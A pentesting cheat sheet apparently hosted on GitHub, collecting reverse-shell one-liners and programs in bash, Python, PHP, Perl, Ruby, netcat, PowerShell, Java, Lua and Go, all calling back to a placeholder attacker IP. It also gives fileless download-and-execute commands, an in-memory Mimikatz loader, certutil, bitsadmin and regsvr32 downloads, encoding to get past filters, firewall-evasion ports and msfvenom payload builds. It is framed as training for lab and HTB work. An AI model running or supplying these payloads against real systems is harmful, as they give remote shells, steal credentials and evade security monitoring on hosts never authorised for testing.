Skip to content

Latest commit

 

History

History
627 lines (480 loc) · 20.6 KB

File metadata and controls

627 lines (480 loc) · 20.6 KB

Reverse Shells — Every Method Worth Knowing

A reverse shell one-liner is not just a command you memorize and run. It is a decision — which language is available on the target, which port will make it through the firewall, which method will survive the environment you are working in. This section covers every reliable reverse shell method across every language and platform, with enough context to know which one to reach for and what to do when it does not work.


🔰 Beginners: Read Shell Types first if you have not already. This section assumes you understand what a reverse shell is and have a listener ready. The one-liners here will not work without a listener running first.

Seasoned practitioners: The advanced encoding, in-memory execution, and protocol-specific sections toward the bottom contain techniques beyond standard one-liners.


Before you start — know these terms:

  • One-liner — a complete reverse shell payload written as a single command. Designed to be injected or executed in one step.
  • Payload — the complete package of code that executes on the target and connects back to you.
  • In-memory execution — running code without writing anything to disk. Harder to detect, leaves fewer forensic artifacts.
  • Encoded payload — a payload that has been transformed (base64, URL encoded, hex) to bypass filters or avoid bad characters.

📋 Contents


✅ Before You Run Anything

Every single time — without exception:

# Step 1 — confirm your IP (use tun0 on HTB)
ip addr show tun0

# Step 2 — start your listener BEFORE triggering the exploit
rlwrap nc -lvnp 4444

# Step 3 — have a second listener ready on a different port
# Open a second terminal tab
rlwrap nc -lvnp 5555

# Step 4 — trigger the exploit
# Shell arrives on port 4444

# Step 5 — immediately stabilize
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Then Ctrl+Z → stty raw -echo; fg → Enter twice

If the shell does not arrive within 10-15 seconds after triggering the exploit — something is wrong. Do not keep triggering. Stop and debug first. The When a Shell Does Not Connect section covers the systematic approach.


🔍 Finding Your IP

# HTB — always tun0
ip addr show tun0
ip -4 addr show tun0 | grep -oP '(?<=inet\s)\d+(\.\d+){3}'

# General — list all interfaces
ip addr          # Linux
ifconfig         # older Linux / macOS
ipconfig         # Windows

# Quick check — what is my public IP
curl ifconfig.me
curl ipinfo.io/ip

🐚 Bash Reverse Shells

Bash is available on virtually every Linux system. These are the most reliable one-liners for Linux targets.

# Standard bash reverse shell — try this first
bash -i >& /dev/tcp/YOUR-IP/4444 0>&1

# Wrapped in bash -c — use when injecting through another shell
bash -c 'bash -i >& /dev/tcp/YOUR-IP/4444 0>&1'

# Using /dev/tcp with exec
exec bash -i &>/dev/tcp/YOUR-IP/4444 <&1

# Alternative using sh instead of bash
sh -i >& /dev/tcp/YOUR-IP/4444 0>&1

# Using 196 as file descriptor
exec 196<>/dev/tcp/YOUR-IP/4444
sh <&196 >&196 2>&196

# Bash with named pipe — when /dev/tcp is not available
rm /tmp/f; mkfifo /tmp/f; bash -i <>/tmp/f 2>&1 | nc YOUR-IP 4444 >/tmp/f

# URL encoded — use when injecting through a web parameter
bash%20-i%20>%26%20/dev/tcp/YOUR-IP/4444%200>%261

# For curl injection
curl "http://target.com/rce?cmd=bash+-i+>%26+/dev/tcp/YOUR-IP/4444+0>%261"

💡 If bash one-liners fail: Some systems restrict /dev/tcp. Try the netcat or Python versions next — they do not rely on /dev/tcp and work in more restricted environments.


🐍 Python Reverse Shells

Python is installed on the vast majority of Linux systems and is available on Windows when installed. One of the most reliable reverse shell methods.

# Python3 — use this first on modern systems
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOUR-IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# Python3 — alternative using Popen
python3 -c 'import socket,subprocess;s=socket.socket();s.connect(("YOUR-IP",4444));subprocess.call(["/bin/bash"],stdin=s,stdout=s,stderr=s)'

# Python2 — use when python3 is not available
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOUR-IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# Python3 — with PTY (gives you a better shell immediately)
python3 -c 'import socket,subprocess,os,pty;s=socket.socket();s.connect(("YOUR-IP",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'

# Windows Python reverse shell
python -c "import socket,subprocess;s=socket.socket();s.connect(('YOUR-IP',4444));subprocess.call(['cmd.exe'],stdin=s,stdout=s,stderr=s)"

# Check which Python is available on target
which python python2 python3 2>/dev/null
ls /usr/bin/python* 2>/dev/null

🐘 PHP Reverse Shells

PHP is everywhere — web servers, CMS platforms, custom applications. If you have command execution on a PHP application, these work.

# PHP one-liner using exec
php -r '$sock=fsockopen("YOUR-IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

# PHP one-liner using shell_exec
php -r '$sock=fsockopen("YOUR-IP",4444);shell_exec("/bin/bash -i <&3 >&3 2>&3");'

# PHP one-liner using system
php -r '$sock=fsockopen("YOUR-IP",4444);system("/bin/sh -i <&3 >&3 2>&3");'

# PHP one-liner using passthru
php -r '$sock=fsockopen("YOUR-IP",4444);passthru("/bin/sh -i <&3 >&3 2>&3");'

# PHP one-liner using popen
php -r '$sock=fsockopen("YOUR-IP",4444);popen("/bin/sh -i <&3 >&3 2>&3","r");'

# PHP reverse shell as a file — more reliable than one-liner injection
# Save as shell.php and upload or write to target
<?php
set_time_limit(0);
$ip = 'YOUR-IP';
$port = 4444;
$sock = fsockopen($ip, $port);
$proc = proc_open('/bin/sh -i', array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);
?>

# PentestMonkey PHP reverse shell — the most complete
# Download: https://github.com/pentestmonkey/php-reverse-shell
# Edit $ip and $port then upload to target

💡 PHP functions may be disabled: Some PHP configurations disable dangerous functions like exec, system, and shell_exec. Try each function variant above. If all are disabled check with: php -r "echo ini_get('disable_functions');" — the response shows which functions are blocked.


🐪 Perl Reverse Shells

Perl is often available on older Unix and Linux systems and is worth knowing for those environments.

# Perl reverse shell
perl -e 'use Socket;$i="YOUR-IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'

# Perl without /bin/sh — useful on restricted systems
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"YOUR-IP:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

# Check if Perl is available
which perl
perl --version

💎 Ruby Reverse Shells

Ruby is commonly found on systems running Ruby on Rails applications and some Linux distributions.

# Ruby reverse shell
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("YOUR-IP","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

# Ruby alternative
ruby -rsocket -e 'c=TCPSocket.new("YOUR-IP",4444);$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdout.sync=true;exec"/bin/sh -i"'

# Check if Ruby is available
which ruby
ruby --version

🔌 Netcat Reverse Shells

Netcat variants are available on most systems but the flags vary between versions. Know which version you are working with.

# Traditional netcat with -e flag (older GNU netcat)
nc -e /bin/bash YOUR-IP 4444

# Traditional netcat with -e on Windows
nc.exe -e cmd.exe YOUR-IP 4444

# BusyBox netcat — found on routers, IoT devices, containers
busybox nc YOUR-IP 4444 -e /bin/sh

# OpenBSD netcat — does NOT have -e flag (most modern Linux)
# Use named pipe workaround instead:
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc YOUR-IP 4444 >/tmp/f

# Alternative named pipe method
mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe | nc YOUR-IP 4444 1>/tmp/backpipe

# Checking which netcat you have
nc --version
nc -h 2>&1 | head -5
# If -e appears in help output — your nc supports it
# If it does not — use the named pipe method

💡 Which netcat method to use: Modern Kali targets often have OpenBSD netcat which does NOT support -e. If nc -e fails with an error — use the named pipe method. It is longer but works on every version of netcat.


💻 PowerShell Reverse Shells

PowerShell is the most powerful option on Windows targets. It is installed by default on Windows 7 and later.

# Standard PowerShell reverse shell — works on all versions
powershell -nop -c "$client=New-Object System.Net.Sockets.TCPClient('YOUR-IP',4444);$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length)) -ne 0){$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1|Out-String);$sendback2=$sendback+'PS '+(pwd).Path+'> ';$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

# Download and execute in memory — fileless (no file written to disk)
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://YOUR-IP/shell.ps1')"

# Download using Invoke-WebRequest
powershell -c "IEX(Invoke-WebRequest -Uri 'http://YOUR-IP/shell.ps1' -UseBasicParsing).Content"

# Base64 encoded PowerShell (bypasses some command-line filters)
# First encode your command:
$cmd = '$client=New-Object System.Net.Sockets.TCPClient("YOUR-IP",4444);...'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
$encoded = [Convert]::ToBase64String($bytes)
echo $encoded
# Then execute:
powershell -enc ENCODED_STRING

# Serve Invoke-PowerShellTcp.ps1 (Nishang)
# Download: https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1
# Host on your Python web server and execute:
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://YOUR-IP/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress YOUR-IP -Port 4444"

Bypassing PowerShell execution policy:

# Execution policy may block scripts — bypass with:
powershell -ExecutionPolicy Bypass -c "..."
powershell -ep bypass -c "..."

# Or set policy in the session
Set-ExecutionPolicy Bypass -Scope Process

# Check current policy
Get-ExecutionPolicy

🪟 Windows CMD Reverse Shells

When PowerShell is blocked or unavailable, CMD-based options:

# Using certutil to download netcat then execute
certutil -urlcache -split -f http://YOUR-IP/nc.exe C:\Windows\Temp\nc.exe
C:\Windows\Temp\nc.exe -e cmd.exe YOUR-IP 4444

# Using bitsadmin to download netcat
bitsadmin /transfer job /download /priority high http://YOUR-IP/nc.exe C:\Windows\Temp\nc.exe
C:\Windows\Temp\nc.exe -e cmd.exe YOUR-IP 4444

# Using mshta for fileless execution
mshta http://YOUR-IP/shell.hta

# Using regsvr32 (Squiblydoo — bypasses application whitelisting)
regsvr32 /s /n /u /i:http://YOUR-IP/shell.sct scrobj.dll

☕ Java Reverse Shells

Java reverse shells are useful when you have code execution in a Java application — web apps running on Tomcat, JBoss, WebLogic.

// Java reverse shell — compile and execute or inject into JSP
Runtime r = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/YOUR-IP/4444 0>&1"};
Process p = r.exec(commands);

// As a JSP one-liner injection
<%Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/YOUR-IP/4444 0>&1"});%>

// Complete Java reverse shell class
public class Shell {
    public static void main(String[] args) throws Exception {
        String host = "YOUR-IP";
        int port = 4444;
        String cmd = "/bin/sh";
        Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
        java.net.Socket s = new java.net.Socket(host, port);
        java.io.InputStream pi = p.getInputStream(), pe = p.getErrorStream(),
            si = s.getInputStream();
        java.io.OutputStream po = p.getOutputStream(), so = s.getOutputStream();
        while (!s.isClosed()) {
            while (pi.available() > 0) so.write(pi.read());
            while (pe.available() > 0) so.write(pe.read());
            while (si.available() > 0) po.write(si.read());
            so.flush(); po.flush();
            Thread.sleep(50);
            try { p.exitValue(); break; } catch (Exception e) {}
        }
        p.destroy(); s.close();
    }
}

🌙 Lua Reverse Shells

Lua is found on some embedded systems, game servers, and network devices. Rare but worth knowing.

-- Lua reverse shell
lua -e "require('socket');require('os');t=socket.tcp();t:connect('YOUR-IP','4444');os.execute('/bin/sh -i <&3 >&3 2>&3');"

-- Alternative
lua5.1 -e 'local host, port = "YOUR-IP", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

🐹 Golang Reverse Shells

Go binaries compile to standalone executables with no dependencies — useful when you need to upload a single file that runs anywhere.

// Go reverse shell source — compile and upload
package main

import (
    "net"
    "os/exec"
)

func main() {
    c, _ := net.Dial("tcp", "YOUR-IP:4444")
    cmd := exec.Command("/bin/sh")
    cmd.Stdin = c
    cmd.Stdout = c
    cmd.Stderr = c
    cmd.Run()
}
# Compile for Linux target from any platform
GOOS=linux GOARCH=amd64 go build -o shell shell.go

# Compile for Windows target
GOOS=windows GOARCH=amd64 go build -o shell.exe shell.go

# Compile for macOS target
GOOS=darwin GOARCH=amd64 go build -o shell_mac shell.go

# Upload to target and execute
# On target: chmod +x shell && ./shell

🔐 Encoded and Obfuscated Payloads

When filters block standard shell syntax, encode the payload to bypass detection.

Base64 Encoding

# Encode a bash reverse shell
echo -n 'bash -i >& /dev/tcp/YOUR-IP/4444 0>&1' | base64
# Output: YmFzaCAtaSA+JiAvZGV2L3RjcC9ZT1VSLUlQLzQ0NDQgMD4mMQ==

# Execute the encoded payload on target
echo YmFzaCAtaSA+JiAvZGV2L3RjcC9ZT1VSLUlQLzQ0NDQgMD4mMQ== | base64 -d | bash

# Combined one-liner
bash -c {echo,BASE64_ENCODED_PAYLOAD}|{base64,-d}|bash

# PowerShell base64 encoding
$cmd = 'IEX(New-Object Net.WebClient).DownloadString("http://YOUR-IP/shell.ps1")'
$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))
powershell -enc $encoded

URL Encoding

# When injecting through a web parameter
# Spaces → +  or  %20
# & → %26
# > → %3E
# < → %3C
# / → %2F

# bash -i >& /dev/tcp/YOUR-IP/4444 0>&1  URL encoded:
bash+-i+>%26+/dev/tcp/YOUR-IP/4444+0>%261

# Use in curl
curl "http://target.com/rce?cmd=bash+-i+>%26+/dev/tcp/YOUR-IP/4444+0>%261"

Hex Encoding

# Hex encode a command
echo -n 'bash -i >& /dev/tcp/YOUR-IP/4444 0>&1' | xxd -p
# Output: 62617368202d69203e26202f6465762f7463702f...

# Execute on target using xxd or python
xxd -r -p <<< "62617368..." | bash
python3 -c "import binascii,os; os.system(binascii.unhexlify('62617368...').decode())"

💾 In-Memory Execution

Plain English: In-memory execution means the payload runs directly in RAM — nothing is written to the hard drive. Antivirus and endpoint detection tools primarily scan files on disk. A payload that never touches disk has a significantly higher chance of avoiding detection.

Linux In-Memory Execution

# Download and execute without writing to disk
curl http://YOUR-IP/shell.sh | bash
wget -O - http://YOUR-IP/shell.sh | bash

# Using /dev/shm — a RAM-based filesystem on Linux
# Files here exist only in memory and are cleared on reboot
curl http://YOUR-IP/shell.sh -o /dev/shm/s && bash /dev/shm/s

# Python in-memory execution
python3 -c "import urllib.request; exec(urllib.request.urlopen('http://YOUR-IP/shell.py').read())"

Windows In-Memory Execution

# PowerShell download and execute in memory — nothing written to disk
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://YOUR-IP/shell.ps1')"

# Using Invoke-Expression alias
powershell -c "IEX(iwr 'http://YOUR-IP/shell.ps1' -UseBasicParsing)"

# From a compromised shell — load Mimikatz in memory
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://YOUR-IP/Invoke-Mimikatz.ps1');Invoke-Mimikatz"

# Serve your scripts with Python web server on your machine
# Linux / macOS
python3 -m http.server 80

# Windows (PowerShell)
python -m http.server 80

🔧 When a Shell Does Not Connect

Work through this checklist systematically before re-triggering the exploit:

Step 1 — Is your listener actually running?
         Check the terminal where you ran nc — is it waiting?
         Run: nc -lvnp 4444
         If it shows "listening" — it is running

Step 2 — Is your IP correct?
         On HTB: ip addr show tun0
         Confirm the IP in your shell payload matches tun0 exactly

Step 3 — Is your port correct?
         Listener on 4444 but payload says 5555?
         They must match exactly

Step 4 — Can the target reach you?
         Test with a ping first (if you have limited RCE)
         ping -c 1 YOUR-IP
         Watch tcpdump on your machine:
         tcpdump -i tun0 icmp

Step 5 — Is the shell language available?
         bash not available? try python3
         python3 not available? try python
         python not available? try perl, nc, php

Step 6 — Is /dev/tcp available?
         bash -i >& /dev/tcp/... fails on some systems
         Try netcat named pipe method instead

Step 7 — Is the port blocked by a firewall?
         Try port 80 or 443 — commonly allowed outbound
         Change listener: nc -lvnp 443
         Change payload: bash -i >& /dev/tcp/YOUR-IP/443 0>&1

Step 8 — Is the payload being filtered?
         Spaces blocked? Use ${IFS} instead of spaces
         Quotes blocked? Try without quotes
         Try base64 encoded payload

Step 9 — Check for typos
         Copy the exact IP from: ip -4 addr show tun0
         Do not type it manually — paste it

Common firewall bypass ports:

# Use these ports when standard 4444 is blocked
# These are commonly allowed outbound on most networks

nc -lvnp 80     # HTTP
nc -lvnp 443    # HTTPS
nc -lvnp 8080   # HTTP alternate
nc -lvnp 8443   # HTTPS alternate
nc -lvnp 53     # DNS (almost never blocked)

🌐 Reverse Shell Generators

When you need a shell fast and cannot remember the exact syntax:

Tool URL What It Does
RevShells revshells.com Web-based generator for every shell type
MSFVenom local — msfvenom -l payloads Generates encoded payloads
PayloadsAllTheThings github.com/swisskyrepo/PayloadsAllTheThings Comprehensive payload reference
HackTricks book.hacktricks.xyz Context-specific shell techniques
# msfvenom — generate a standalone reverse shell binary
# Linux ELF
msfvenom -p linux/x64/shell_reverse_tcp LHOST=YOUR-IP LPORT=4444 -f elf -o shell

# Windows EXE
msfvenom -p windows/x64/shell_reverse_tcp LHOST=YOUR-IP LPORT=4444 -f exe -o shell.exe

# PHP
msfvenom -p php/reverse_php LHOST=YOUR-IP LPORT=4444 -f raw -o shell.php

# Python
msfvenom -p cmd/unix/reverse_python LHOST=YOUR-IP LPORT=4444 -f raw -o shell.py

by SudoChef · Part of the SudoCode Pentesting Methodology Guide